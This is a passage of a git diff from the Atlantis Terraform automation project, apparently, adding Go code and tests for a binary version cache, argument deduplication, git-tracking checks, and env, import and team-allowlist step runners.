*MockExecutionVersionCache) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockExecutionVersionCache) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockExecutionVersionCache) Get(key *go_version.Version) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockExecutionVersionCache().") + } + _params := []pegomock.Param{key} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Get", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockExecutionVersionCache) VerifyWasCalledOnce() *VerifierMockExecutionVersionCache { + return &VerifierMockExecutionVersionCache{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockExecutionVersionCache) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockExecutionVersionCache { + return &VerifierMockExecutionVersionCache{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockExecutionVersionCache) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockExecutionVersionCache { + return &VerifierMockExecutionVersionCache{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockExecutionVersionCache) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockExecutionVersionCache { + return &VerifierMockExecutionVersionCache{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockExecutionVersionCache struct { + mock *MockExecutionVersionCache + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockExecutionVersionCache) Get(key *go_version.Version) *MockExecutionVersionCache_Get_OngoingVerification { + _params := []pegomock.Param{key} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Get", _params, verifier.timeout) + return &MockExecutionVersionCache_Get_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockExecutionVersionCache_Get_OngoingVerification struct { + mock *MockExecutionVersionCache + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockExecutionVersionCache_Get_OngoingVerification) GetCapturedArguments() *go_version.Version { + key := c.GetAllCapturedArguments() + return key[len(key)-1] +} + +func (c *MockExecutionVersionCache_Get_OngoingVerification) GetAllCapturedArguments() (_param0 []*go_version.Version) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*go_version.Version, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*go_version.Version) + } + } + } + return +} diff --git a/server/core/runtime/cache/version_path.go b/server/core/runtime/cache/version_path.go new file mode 100644 index 0000000000..197d5d9904 --- /dev/null +++ b/server/core/runtime/cache/version_path.go @@ -0,0 +1,132 @@ +package cache + +import ( + "fmt" + "sync" + + "github.com/hashicorp/go-version" + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/core/runtime/models" +) + +//go:generate pegomock generate --package mocks -o mocks/mock_version_path.go ExecutionVersionCache +//go:generate pegomock generate --package mocks -o mocks/mock_key_serializer.go KeySerializer + +type ExecutionVersionCache interface { + Get(key *version.Version) (string, error) +} + +type KeySerializer interface { + Serialize(key *version.Version) (string, error) +} + +type DefaultDiskLookupKeySerializer struct { + binaryName string +} + +func (s *DefaultDiskLookupKeySerializer) Serialize(key *version.Version) (string, error) { + return fmt.Sprintf("%s%s", s.binaryName, key.Original()), nil +} + +// ExecutionVersionDiskLayer is a cache layer which attempts to find the version on disk, +// before calling the configured loading function. +type ExecutionVersionDiskLayer struct { + versionRootDir models.FilePath + exec models.Exec + keySerializer KeySerializer + loader func(v *version.Version, destPath string) (models.FilePath, error) + binaryName string +} + +// Gets a path from cache +func (v *ExecutionVersionDiskLayer) Get(key *version.Version) (string, error) { + binaryVersion, err := v.keySerializer.Serialize(key) + + if err != nil { + return "", errors.Wrapf(err, "serializing key for disk lookup") + } + + // first check for the binary in our path + path, err := v.exec.LookPath(binaryVersion) + + if err == nil { + return path, nil + } + + // if the binary is not in our path, let's look in the version root directory + binaryPath := v.versionRootDir.Join(binaryVersion) + + // if the binary doesn't exist there, we need to load it. + if binaryPath.NotExists() { + + // load it into a directory first and then sym link it to the serialized key aka binary version + loaderPath := v.versionRootDir.Join(v.binaryName, "versions", key.Original()) + + loadedBinary, err := v.loader(key, loaderPath.Resolve()) + + if err != nil { + return "", errors.Wrapf(err, "loading %s", loaderPath) + } + + binaryPath, err = loadedBinary.Symlink(binaryPath.Resolve()) + + if err != nil { + return "", errors.Wrapf(err, "linking %s to %s", loaderPath, loadedBinary) + } + } + + return binaryPath.Resolve(), nil +} + +// ExecutionVersionMemoryLayer is an in-memory cache which delegates to a disk layer +// if a version's path doesn't exist yet. +type ExecutionVersionMemoryLayer struct { + // RWMutex allows us to have separation between reader locks/writer locks which is great + // since writing of data shouldn't happen too often + lock sync.RWMutex + diskLayer ExecutionVersionCache + cache map[string]string +} + +func (v *ExecutionVersionMemoryLayer) Get(key *version.Version) (string, error) { + + // If we need to we can rip this out into a KeySerializer impl, for now this + // seems overkill + serializedKey := key.String() + + v.lock.RLock() + _, ok := v.cache[serializedKey] + v.lock.RUnlock() + + if !ok { + v.lock.Lock() + defer v.lock.Unlock() + value, err := v.diskLayer.Get(key) + + if err != nil { + return "", errors.Wrapf(err, "fetching %s from cache", serializedKey) + } + v.cache[serializedKey] = value + } + return v.cache[serializedKey], nil +} + +func NewExecutionVersionLayeredLoadingCache( + binaryName string, + versionRootDir string, + loader func(v *version.Version, destPath string) (models.FilePath, error), +) ExecutionVersionCache { + + diskLayer := &ExecutionVersionDiskLayer{ + exec: models.LocalExec{}, + versionRootDir: models.LocalFilePath(versionRootDir), + keySerializer: &DefaultDiskLookupKeySerializer{binaryName: binaryName}, + loader: loader, + binaryName: binaryName, + } + + return &ExecutionVersionMemoryLayer{ + diskLayer: diskLayer, + cache: make(map[string]string), + } +} diff --git a/server/core/runtime/cache/version_path_test.go b/server/core/runtime/cache/version_path_test.go new file mode 100644 index 0000000000..b7c08d1ddb --- /dev/null +++ b/server/core/runtime/cache/version_path_test.go @@ -0,0 +1,243 @@ +package cache + +import ( + "errors" + "path/filepath" + "testing" + + "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + cache_mocks "github.com/runatlantis/atlantis/server/core/runtime/cache/mocks" + "github.com/runatlantis/atlantis/server/core/runtime/models" + models_mocks "github.com/runatlantis/atlantis/server/core/runtime/models/mocks" + . "github.com/runatlantis/atlantis/testing" +) + +func TestExecutionVersionDiskLayer(t *testing.T) { + + binaryVersion := "bin1.0" + binaryName := "bin" + + expectedPath := "some/path/bin1.0" + versionInput, _ := version.NewVersion("1.0") + + RegisterMockTestingT(t) + + mockFilePath := models_mocks.NewMockFilePath() + mockExec := models_mocks.NewMockExec() + mockSerializer := cache_mocks.NewMockKeySerializer() + + t.Run("serializer error", func(t *testing.T) { + subject := &ExecutionVersionDiskLayer{ + versionRootDir: mockFilePath, + exec: mockExec, + loader: func(v *version.Version, destPath string) (models.FilePath, error) { + if destPath == expectedPath && v == versionInput { + return models.LocalFilePath(filepath.Join(destPath, "bin")), nil + } + + t.Fatalf("unexpected inputs to loader") + + return models.LocalFilePath(""), nil + }, + keySerializer: mockSerializer, + } + + When(mockSerializer.Serialize(versionInput)).ThenReturn("", errors.New("serializer error")) + When(mockExec.LookPath(binaryVersion)).ThenReturn(expectedPath, nil) + + _, err := subject.Get(versionInput) + + Assert(t, err != nil, "err is expected") + + mockFilePath.VerifyWasCalled(Never()).Join(Any[string]()) + mockFilePath.VerifyWasCalled(Never()).NotExists() + mockFilePath.VerifyWasCalled(Never()).Resolve() + mockExec.VerifyWasCalled(Never()).LookPath(Any[string]()) + }) + + t.Run("finds in path", func(t *testing.T) { + subject := &ExecutionVersionDiskLayer{ + versionRootDir: mockFilePath, + exec: mockExec, + loader: func(v *version.Version, destPath string) (models.FilePath, error) { + t.Fatalf("shouldn't be called") + + return models.LocalFilePath(""), nil + }, + keySerializer: mockSerializer, + } + + When(mockSerializer.Serialize(versionInput)).ThenReturn(binaryVersion, nil) + When(mockExec.LookPath(binaryVersion)).ThenReturn(expectedPath, nil) + + resultPath, err := subject.Get(versionInput) + + Ok(t, err) + + Assert(t, resultPath == expectedPath, "path is expected") + + mockFilePath.VerifyWasCalled(Never()).Join(Any[string]()) + mockFilePath.VerifyWasCalled(Never()).Resolve() + mockFilePath.VerifyWasCalled(Never()).NotExists() + }) + + t.Run("finds in version root", func(t *testing.T) { + subject := &ExecutionVersionDiskLayer{ + versionRootDir: mockFilePath, + exec: mockExec, + loader: func(v *version.Version, destPath string) (models.FilePath, error) { + + t.Fatalf("shouldn't be called") + + return models.LocalFilePath(""), nil + }, + keySerializer: mockSerializer, + } + + When(mockSerializer.Serialize(versionInput)).ThenReturn(binaryVersion, nil) + When(mockExec.LookPath(binaryVersion)).ThenReturn("", errors.New("error")) + + When(mockFilePath.Join(binaryVersion)).ThenReturn(mockFilePath) + + When(mockFilePath.NotExists()).ThenReturn(false) + When(mockFilePath.Resolve()).ThenReturn(expectedPath) + + resultPath, err := subject.Get(versionInput) + + Ok(t, err) + + Assert(t, resultPath == expectedPath, "path is expected") + }) + + t.Run("loads version", func(t *testing.T) { + mockLoaderPath := models_mocks.NewMockFilePath() + mockSymlinkPath := models_mocks.NewMockFilePath() + mockLoadedBinaryPath := models_mocks.NewMockFilePath() + expectedLoaderPath := "/some/path/to/binary" + expectedBinaryVersionPath := filepath.Join(expectedPath, binaryVersion) + + subject := &ExecutionVersionDiskLayer{ + versionRootDir: mockFilePath, + exec: mockExec, + loader: func(v *version.Version, destPath string) (models.FilePath, error) { + + if destPath == expectedLoaderPath && v == versionInput { + return mockLoadedBinaryPath, nil + } + + t.Fatalf("unexpected inputs to loader") + + return models.LocalFilePath(""), nil + }, + binaryName: binaryName, + keySerializer: mockSerializer, + } + + When(mockSerializer.Serialize(versionInput)).ThenReturn(binaryVersion, nil) + When(mockExec.LookPath(binaryVersion)).ThenReturn("", errors.New("error")) + + When(mockFilePath.Join(binaryVersion)).ThenReturn(mockFilePath) + When(mockFilePath.Resolve()).ThenReturn(expectedBinaryVersionPath) + + When(mockFilePath.NotExists()).ThenReturn(true) + + When(mockFilePath.Join(binaryName, "versions", versionInput.Original())).ThenReturn(mockLoaderPath) + + When(mockLoaderPath.Resolve()).ThenReturn(expectedLoaderPath) + When(mockLoadedBinaryPath.Symlink(expectedBinaryVersionPath)).ThenReturn(mockSymlinkPath, nil) + + When(mockSymlinkPath.Resolve()).ThenReturn(expectedPath) + + resultPath, err := subject.Get(versionInput) + + Ok(t, err) + + Assert(t, resultPath == expectedPath, "path is expected") + }) + + t.Run("loader error", func(t *testing.T) { + mockLoaderPath := models_mocks.NewMockFilePath() + expectedLoaderPath := "/some/path/to/binary" + subject := &ExecutionVersionDiskLayer{ + versionRootDir: mockFilePath, + exec: mockExec, + loader: func(v *version.Version, destPath string) (models.FilePath, error) { + + if destPath == expectedLoaderPath && v == versionInput { + return models.LocalFilePath(""), errors.New("error") + } + + t.Fatalf("unexpected inputs to loader") + + return models.LocalFilePath(""), nil + }, + keySerializer: mockSerializer, + binaryName: binaryName, + } + + When(mockSerializer.Serialize(versionInput)).ThenReturn(binaryVersion, nil) + When(mockExec.LookPath(binaryVersion)).ThenReturn("", errors.New("error")) + + When(mockFilePath.Join(binaryVersion)).ThenReturn(mockFilePath) + + When(mockFilePath.NotExists()).ThenReturn(true) + + When(mockFilePath.Join(binaryName, "versions", versionInput.Original())).ThenReturn(mockLoaderPath) + + When(mockLoaderPath.Resolve()).ThenReturn(expectedLoaderPath) + + _, err := subject.Get(versionInput) + + Assert(t, err != nil, "path is expected") + }) +} + +func TestExecutionVersionMemoryLayer(t *testing.T) { + expectedPath := "some/path" + versionInput, _ := version.NewVersion("1.0") + + RegisterMockTestingT(t) + + mockLayer := cache_mocks.NewMockExecutionVersionCache() + + cache := make(map[string]string) + + subject := &ExecutionVersionMemoryLayer{ + diskLayer: mockLayer, + cache: cache, + } + + t.Run("exists in cache", func(t *testing.T) { + cache[versionInput.String()] = expectedPath + + resultPath, err := subject.Get(versionInput) + + Ok(t, err) + + Assert(t, resultPath == expectedPath, "path is expected") + }) + + t.Run("disk layer error", func(t *testing.T) { + delete(cache, versionInput.String()) + + When(mockLayer.Get(versionInput)).ThenReturn("", errors.New("error")) + + _, err := subject.Get(versionInput) + + Assert(t, err != nil, "error is expected") + }) + + t.Run("disk layer success", func(t *testing.T) { + delete(cache, versionInput.String()) + + When(mockLayer.Get(versionInput)).ThenReturn(expectedPath, nil) + + resultPath, err := subject.Get(versionInput) + + Ok(t, err) + + Assert(t, resultPath == expectedPath, "path is expected") + Assert(t, cache[versionInput.String()] == resultPath, "path is cached") + }) +} diff --git a/server/core/runtime/common/common.go b/server/core/runtime/common/common.go new file mode 100644 index 0000000000..cc11f30768 --- /dev/null +++ b/server/core/runtime/common/common.go @@ -0,0 +1,91 @@ +package common + +import ( + "os" + "os/exec" + "strings" +) + +// Looks for any argument in commandArgs that has been overridden by an entry in extra args and replaces them +// any extraArgs that are not used as overrides are added yo the end of the final string slice +func DeDuplicateExtraArgs(commandArgs []string, extraArgs []string) []string { + // work if any of the core args have been overridden + finalArgs := []string{} + usedExtraArgs := []string{} + for _, arg := range commandArgs { + override := "" + prefix := arg + argSplit := strings.Split(arg, "=") + if len(argSplit) == 2 { + prefix = argSplit[0] + } + for _, extraArgOrig := range extraArgs { + extraArg := extraArgOrig + if strings.HasPrefix(extraArg, prefix) { + override = extraArgOrig + break + } + if strings.HasPrefix(extraArg, "--") { + extraArg = extraArgOrig[1:] + if strings.HasPrefix(extraArg, prefix) { + override = extraArgOrig + break + } + } + if strings.HasPrefix(prefix, "--") { + prefixWithoutDash := prefix[1:] + if strings.HasPrefix(extraArg, prefixWithoutDash) { + override = extraArgOrig + break + } + } + + } + if override != "" { + finalArgs = append(finalArgs, override) + usedExtraArgs = append(usedExtraArgs, override) + } else { + finalArgs = append(finalArgs, arg) + } + } + // add any extra args that are not overrides + for _, extraArg := range extraArgs { + if !stringInSlice(usedExtraArgs, extraArg) { + finalArgs = append(finalArgs, extraArg) + } + } + return finalArgs +} + +// returns true if a file at the passed path exists +func FileExists(path string) bool { + if _, err := os.Stat(path); err != nil { + if os.IsNotExist(err) { + return false + } + } + return true +} + +// returns true if the given file is tracked by git +func IsFileTracked(cloneDir string, filename string) (bool, error) { + cmd := exec.Command("git", "ls-files", filename) + cmd.Dir = cloneDir + + output, err := cmd.CombinedOutput() + + if err != nil { + return false, err + } + return len(output) > 0, nil + +} + +func stringInSlice(stringSlice []string, target string) bool { + for _, value := range stringSlice { + if value == target { + return true + } + } + return false +} diff --git a/server/core/runtime/common/common_test.go b/server/core/runtime/common/common_test.go new file mode 100644 index 0000000000..c265bb9eb1 --- /dev/null +++ b/server/core/runtime/common/common_test.go @@ -0,0 +1,147 @@ +package common + +import ( + "os/exec" + "reflect" + "strings" + "testing" + + . "github.com/runatlantis/atlantis/testing" +) + +func Test_DeDuplicateExtraArgs(t *testing.T) { + cases := []struct { + description string + inputArgs []string + extraArgs []string + expectedArgs []string + }{ + { + "No extra args", + []string{"init", "-input=false", "-no-color", "-upgrade"}, + []string{}, + []string{"init", "-input=false", "-no-color", "-upgrade"}, + }, + { + "Override -upgrade", + []string{"init", "-input=false", "-no-color", "-upgrade"}, + []string{"-upgrade=false"}, + []string{"init", "-input=false", "-no-color", "-upgrade=false"}, + }, + { + "Override -input", + []string{"init", "-input=false", "-no-color", "-upgrade"}, + []string{"-input=true"}, + []string{"init", "-input=true", "-no-color", "-upgrade"}, + }, + { + "Override -input and -upgrade", + []string{"init", "-input=false", "-no-color", "-upgrade"}, + []string{"-input=true", "-upgrade=false"}, + []string{"init", "-input=true", "-no-color", "-upgrade=false"}, + }, + { + "Non duplicate extra args", + []string{"init", "-input=false", "-no-color", "-upgrade"}, + []string{"extra", "args"}, + []string{"init", "-input=false", "-no-color", "-upgrade", "extra", "args"}, + }, + { + "Override upgrade with extra args", + []string{"init", "-input=false", "-no-color", "-upgrade"}, + []string{"extra", "args", "-upgrade=false"}, + []string{"init", "-input=false", "-no-color", "-upgrade=false", "extra", "args"}, + }, + { + "Override -input (using --input)", + []string{"init", "-input=false", "-no-color", "-upgrade"}, + []string{"--input=true"}, + []string{"init", "--input=true", "-no-color", "-upgrade"}, + }, + { + "Override -input (using --input) and -upgrade (using --upgrade)", + []string{"init", "-input=false", "-no-color", "-upgrade"}, + []string{"--input=true", "--upgrade=false"}, + []string{"init", "--input=true", "-no-color", "--upgrade=false"}, + }, + { + "Override long form flag ", + []string{"init", "--input=false", "-no-color", "-upgrade"}, + []string{"--input=true"}, + []string{"init", "--input=true", "-no-color", "-upgrade"}, + }, + { + "Override --input using (-input) ", + []string{"init", "--input=false", "-no-color", "-upgrade"}, + []string{"-input=true"}, + []string{"init", "-input=true", "-no-color", "-upgrade"}, + }, + } + + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + finalArgs := DeDuplicateExtraArgs(c.inputArgs, c.extraArgs) + + if !reflect.DeepEqual(c.expectedArgs, finalArgs) { + t.Fatalf("finalArgs (%v) does not match expectedArgs (%v)", finalArgs, c.expectedArgs) + } + }) + } +} + +func runCmd(t *testing.T, dir string, name string, args ...string) string { + t.Helper() + cpCmd := exec.Command(name, args...) + cpCmd.Dir = dir + cpOut, err := cpCmd.CombinedOutput() + Assert(t, err == nil, "err running %q: %s", strings.Join(append([]string{name}, args...), " "), cpOut) + return string(cpOut) +} + +func initRepo(t *testing.T) string { + repoDir := t.TempDir() + runCmd(t, repoDir, "git", "init") + runCmd(t, repoDir, "touch", ".gitkeep") + runCmd(t, repoDir, "git", "add", ".gitkeep") + runCmd(t, repoDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") + runCmd(t, repoDir, "git", "config", "--local", "user.name", "atlantisbot") + runCmd(t, repoDir, "git", "config", "--local", "commit.gpgsign", "false") + runCmd(t, repoDir, "git", "commit", "-m", "initial commit") + runCmd(t, repoDir, "git", "branch", "branch") + return repoDir +} + +func TestIsFileTracked(t *testing.T) { + // Initialize the git repo. + repoDir := initRepo(t) + + // file1 should not be tracked + tracked, err := IsFileTracked(repoDir, "file1") + Ok(t, err) + Equals(t, tracked, false) + + // stage file1 + runCmd(t, repoDir, "touch", "file1") + runCmd(t, repoDir, "git", "add", "file1") + runCmd(t, repoDir, "git", "commit", "-m", "add file1") + + // file1 should be tracked + tracked, err = IsFileTracked(repoDir, "file1") + Ok(t, err) + Equals(t, tracked, true) + + // .terraform.lock.hcl should not be tracked + tracked, err = IsFileTracked(repoDir, ".terraform.lock.hcl") + Ok(t, err) + Equals(t, tracked, false) + + // stage .terraform.lock.hcl + runCmd(t, repoDir, "touch", ".terraform.lock.hcl") + runCmd(t, repoDir, "git", "add", ".terraform.lock.hcl") + runCmd(t, repoDir, "git", "commit", "-m", "add .terraform.lock.hcl") + + // file1 should be tracked + tracked, err = IsFileTracked(repoDir, ".terraform.lock.hcl") + Ok(t, err) + Equals(t, tracked, true) +} diff --git a/server/core/runtime/env_step_runner.go b/server/core/runtime/env_step_runner.go new file mode 100644 index 0000000000..5fa865fefd --- /dev/null +++ b/server/core/runtime/env_step_runner.go @@ -0,0 +1,37 @@ +package runtime + +import ( + "strings" + + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/events/command" +) + +// EnvStepRunner set environment variables. +type EnvStepRunner struct { + RunStepRunner *RunStepRunner +} + +// Run runs the env step command. +// value is the value for the environment variable. If set this is returned as +// the value. Otherwise command is run and its output is the value returned. +func (r *EnvStepRunner) Run( + ctx command.ProjectContext, + shell *valid.CommandShell, + command string, + value string, + path string, + envs map[string]string, +) (string, error) { + if value != "" { + return value, nil + } + // Pass `false` for streamOutput because this isn't interesting to the user reading the build logs + // in the web UI. + res, err := r.RunStepRunner.Run(ctx, shell, command, path, envs, false, valid.PostProcessRunOutputShow) + // Trim newline from res to support running `echo env_value` which has + // a newline. We don't recommend users run echo -n env_value to remove the + // newline because -n doesn't work in the sh shell which is what we use + // to run commands. + return strings.TrimSuffix(res, "\n"), err +} diff --git a/server/core/runtime/env_step_runner_test.go b/server/core/runtime/env_step_runner_test.go new file mode 100644 index 0000000000..7772d56c5f --- /dev/null +++ b/server/core/runtime/env_step_runner_test.go @@ -0,0 +1,94 @@ +package runtime_test + +import ( + "testing" + + "github.com/hashicorp/go-version" + "github.com/runatlantis/atlantis/server/core/runtime" + "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/core/terraform/mocks" + tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + jobmocks "github.com/runatlantis/atlantis/server/jobs/mocks" + "github.com/runatlantis/atlantis/server/logging" + + . "github.com/petergtz/pegomock/v4" + . "github.com/runatlantis/atlantis/testing" +) + +func TestEnvStepRunner_Run(t *testing.T) { + cases := []struct { + Command string + Value string + ProjectName string + ExpValue string + ExpErr string + }{ + { + Command: "echo 123", + ExpValue: "123", + }, + { + Value: "test", + ExpValue: "test", + }, + { + Command: "echo 321", + Value: "test", + ExpValue: "test", + }, + } + RegisterMockTestingT(t) + tfClient := tfclientmocks.NewMockClient() + mockDownloader := mocks.NewMockDownloader() + tfDistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, err := version.NewVersion("0.12.0") + Ok(t, err) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + runStepRunner := runtime.RunStepRunner{ + TerraformExecutor: tfClient, + DefaultTFDistribution: tfDistribution, + DefaultTFVersion: tfVersion, + ProjectCmdOutputHandler: projectCmdOutputHandler, + } + envRunner := runtime.EnvStepRunner{ + RunStepRunner: &runStepRunner, + } + for _, c := range cases { + t.Run(c.Command, func(t *testing.T) { + tmpDir := t.TempDir() + ctx := command.ProjectContext{ + BaseRepo: models.Repo{ + Name: "basename", + Owner: "baseowner", + }, + HeadRepo: models.Repo{ + Name: "headname", + Owner: "headowner", + }, + Pull: models.PullRequest{ + Num: 2, + HeadBranch: "add-feat", + BaseBranch: "main", + Author: "acme", + }, + User: models.User{ + Username: "acme-user", + }, + Log: logging.NewNoopLogger(t), + Workspace: "myworkspace", + RepoRelDir: "mydir", + TerraformVersion: tfVersion, + ProjectName: c.ProjectName, + } + value, err := envRunner.Run(ctx, nil, c.Command, c.Value, tmpDir, map[string]string(nil)) + if c.ExpErr != "" { + ErrContains(t, c.ExpErr, err) + return + } + Ok(t, err) + Equals(t, c.ExpValue, value) + }) + } +} diff --git a/server/core/runtime/executor.go b/server/core/runtime/executor.go new file mode 100644 index 0000000000..69daafc229 --- /dev/null +++ b/server/core/runtime/executor.go @@ -0,0 +1,25 @@ +package runtime + +import ( + version "github.com/hashicorp/go-version" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/logging" +) + +//go:generate pegomock generate --package mocks -o mocks/mock_versionedexecutorworkflow.go VersionedExecutorWorkflow + +// VersionedExecutorWorkflow defines a versioned execution for a given project context +type VersionedExecutorWorkflow interface { + ExecutorVersionEnsurer + Executor +} + +// Executor runs an executable with provided environment variables and arguments and returns stdout +type Executor interface { + Run(ctx command.ProjectContext, executablePath string, envs map[string]string, workdir string, extraArgs []string) (string, error) +} + +// ExecutorVersionEnsurer ensures a given version exists and outputs a path to the executable +type ExecutorVersionEnsurer interface { + EnsureExecutorVersion(log logging.SimpleLogging, v *version.Version) (string, error) +} diff --git a/server/core/runtime/external_team_allowlist_runner.go b/server/core/runtime/external_team_allowlist_runner.go new file mode 100644 index 0000000000..ec95d1c19b --- /dev/null +++ b/server/core/runtime/external_team_allowlist_runner.go @@ -0,0 +1,58 @@ +package runtime + +import ( + "context" + "fmt" + "os" + "os/exec" + "strings" + + "github.com/runatlantis/atlantis/server/events/models" +) + +//go:generate pegomock generate --package mocks -o mocks/mock_external_team_allowlist_runner.go ExternalTeamAllowlistRunner +type ExternalTeamAllowlistRunner interface { + Run(ctx models.TeamAllowlistCheckerContext, shell, shellArgs, command string) (string, error) +} + +type DefaultExternalTeamAllowlistRunner struct{} + +func (r DefaultExternalTeamAllowlistRunner) Run(ctx models.TeamAllowlistCheckerContext, shell, shellArgs, command string) (string, error) { + shellArgsSlice := append(strings.Split(shellArgs, " "), command) + cmd := exec.CommandContext(context.TODO(), shell, shellArgsSlice...) // #nosec + + baseEnvVars := os.Environ() + customEnvVars := map[string]string{ + "BASE_BRANCH_NAME": ctx.Pull.BaseBranch, + "BASE_REPO_NAME": ctx.BaseRepo.Name, + "BASE_REPO_OWNER": ctx.BaseRepo.Owner, + "COMMENT_ARGS": strings.Join(ctx.EscapedCommentArgs, ","), + "HEAD_BRANCH_NAME": ctx.Pull.HeadBranch, + "HEAD_COMMIT": ctx.Pull.HeadCommit, + "HEAD_REPO_NAME": ctx.HeadRepo.Name, + "HEAD_REPO_OWNER": ctx.HeadRepo.Owner, + "PULL_AUTHOR": ctx.Pull.Author, + "PULL_NUM": fmt.Sprintf("%d", ctx.Pull.Num), + "PULL_URL": ctx.Pull.URL, + "USER_NAME": ctx.User.Username, + "COMMAND_NAME": ctx.CommandName, + "PROJECT_NAME": ctx.ProjectName, + "REPO_ROOT": ctx.RepoDir, + "REPO_REL_PATH": ctx.RepoRelDir, + } + + finalEnvVars := baseEnvVars + for key, val := range customEnvVars { + finalEnvVars = append(finalEnvVars, fmt.Sprintf("%s=%s", key, val)) + } + cmd.Env = finalEnvVars + out, err := cmd.CombinedOutput() + + if err != nil { + err = fmt.Errorf("%s: running %q: \n%s", err, shell+" "+shellArgs+" "+command, out) + ctx.Log.Debug("error: %s", err) + return string(out), err + } + + return strings.TrimSpace(string(out)), nil +} diff --git a/server/core/runtime/import_step_runner.go b/server/core/runtime/import_step_runner.go new file mode 100644 index 0000000000..7f3a22b9b4 --- /dev/null +++ b/server/core/runtime/import_step_runner.go @@ -0,0 +1,54 @@ +package runtime + +import ( + "os" + "path/filepath" + + version "github.com/hashicorp/go-version" + "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/utils" +) + +type importStepRunner struct { + terraformExecutor TerraformExec + defaultTFDistribution terraform.Distribution + defaultTFVersion *version.Version +} + +func NewImportStepRunner(terraformExecutor TerraformExec, defaultTfDistribution terraform.Distribution, defaultTfVersion *version.Version) Runner { + runner := &importStepRunner{ + terraformExecutor: terraformExecutor, + defaultTFDistribution: defaultTfDistribution, + defaultTFVersion: defaultTfVersion, + } + return NewWorkspaceStepRunnerDelegate(terraformExecutor, defaultTfDistribution, defaultTfVersion, runner) +} + +func (p *importStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { + tfDistribution := p.defaultTFDistribution + tfVersion := p.defaultTFVersion + if ctx.TerraformDistribution != nil { + tfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution) + } + if ctx.TerraformVersion != nil { + tfVersion = ctx.TerraformVersion + } + + importCmd := []string{"import"} + importCmd = append(importCmd, extraArgs...) + importCmd = append(importCmd, ctx.EscapedCommentArgs...) + out, err := p.terraformExecutor.RunCommandWithVersion(ctx, filepath.Clean(path), importCmd, envs, tfDistribution, tfVersion, ctx.Workspace) + + // If the import was successful and a plan file exists, delete the plan. + planPath := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName)) + if err == nil { + if _, planPathErr := os.Stat(planPath); !os.IsNotExist(planPathErr) { + ctx.Log.Info("import successful, deleting planfile") + if removeErr := utils.RemoveIgnoreNonExistent(planPath); removeErr != nil { + ctx.Log.Warn("failed to delete planfile after successful import: %s", removeErr) + } + } + } + return out, err +} diff --git a/server/core/runtime/import_step_runner_test.go b/server/core/runtime/import_step_runner_test.go new file mode 100644 index 0000000000..d7cacf9a5f --- /dev/null +++ b/server/core/runtime/import_step_runner_test.go @@ -0,0 +1,129 @@ +package runtime + +import ( + "fmt" + "os" + "path/filepath" + "testing" + + "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + tf "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/core/terraform/mocks" + tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +func TestImportStepRunner_Run_Success(t *testing.T) { + logger := logging.NewNoopLogger(t) + workspace := "default" + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, fmt.Sprintf("%s.tfplan", workspace)) + err := os.WriteFile(planPath, nil, 0600) + Ok(t, err) + + context := command.ProjectContext{ + Log: logger, + EscapedCommentArgs: []string{"-var", "foo=bar", "addr", "id"}, + Workspace: workspace, + } + + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion("0.15.0") + s := NewImportStepRunner(terraform, tfDistribution, tfVersion) + + 